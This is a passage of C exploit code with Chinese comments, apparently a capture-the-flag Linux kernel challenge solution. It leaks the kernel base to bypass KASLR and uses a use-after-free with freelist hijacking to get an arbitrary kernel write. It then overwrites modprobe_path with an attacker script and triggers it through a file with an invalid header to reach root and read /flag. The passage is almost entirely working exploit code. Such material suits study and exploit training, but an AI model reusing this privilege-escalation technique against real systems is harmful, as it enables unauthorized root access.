// data.ptr[2] 对应的是 buf + 0x10 处的数据。
// 因为 buf = target - 0x10,所以 data.ptr[2] 就是 target (secondary_startup_64) 的值
kernel_base = data.ptr[2] - 0x30; // 减去符号偏移
kernel_offset = kernel_base - 0xffffffff81000000; // 计算 KASLR 偏移
printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);
/* * Step 3: 劫持 modprobe_path
* 原理同上,通过 Freelist Hijacking 实现任意地址写
*/
puts("[*] hijacking modprobe_path...");
// 再次触发 UAF:分配一个新块,然后释放它
allocBuf(dev_fd[1], &data); // 复位/消耗
close(dev_fd[1]); // 释放,buf 进入 freelist
// 计算 modprobe_path 的真实地址,并减去 0x10 (同样为了对齐和防崩)
data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
data.offset = 0;
data.length = 0x8;
// UAF 写:劫持 freelist 指向 modprobe_path
editBuf(dev_fd[2], &data); // 使用 fd[2] 操作,因为 fd[1] 已经 close 了
// 两次分配,让全局 buf 指向 (modprobe_path - 0x10)
allocBuf(dev_fd[2], &data); // 消耗首块
allocBuf(dev_fd[2], &data); // 拿到 Target Chunk
// 准备 Payload: 恶意脚本路径 "/home/getshell"
// 我们写入到 data.ptr[2],也就是偏移 0x10 处。
// (modprobe_path - 0x10) + 0x10 = modprobe_path
strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
data.length = 0x30;
// 任意地址写:覆盖 modprobe_path
editBuf(dev_fd[2], &data);
/* * Step 4: 触发 modprobe 并获取 Flag
*/
puts("[*] trigerring fake modprobe_path...");
// 1. 创建一个只有非法文件头 (\xff\xff...) 的可执行文件
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
// 2. 尝试执行它。
// 内核解析失败 -> request_module() -> call_modprobe()
// 此时 call_modprobe 会调用我们覆盖后的路径 "/home/getshell"
system("/home/fake");
// 3. 读取 Flag
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR); // 此时 /flag 已经是 777 权限
if (flag_fd < 0) {
errExit("failed to chmod flag!");
}
read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);
return 0;
}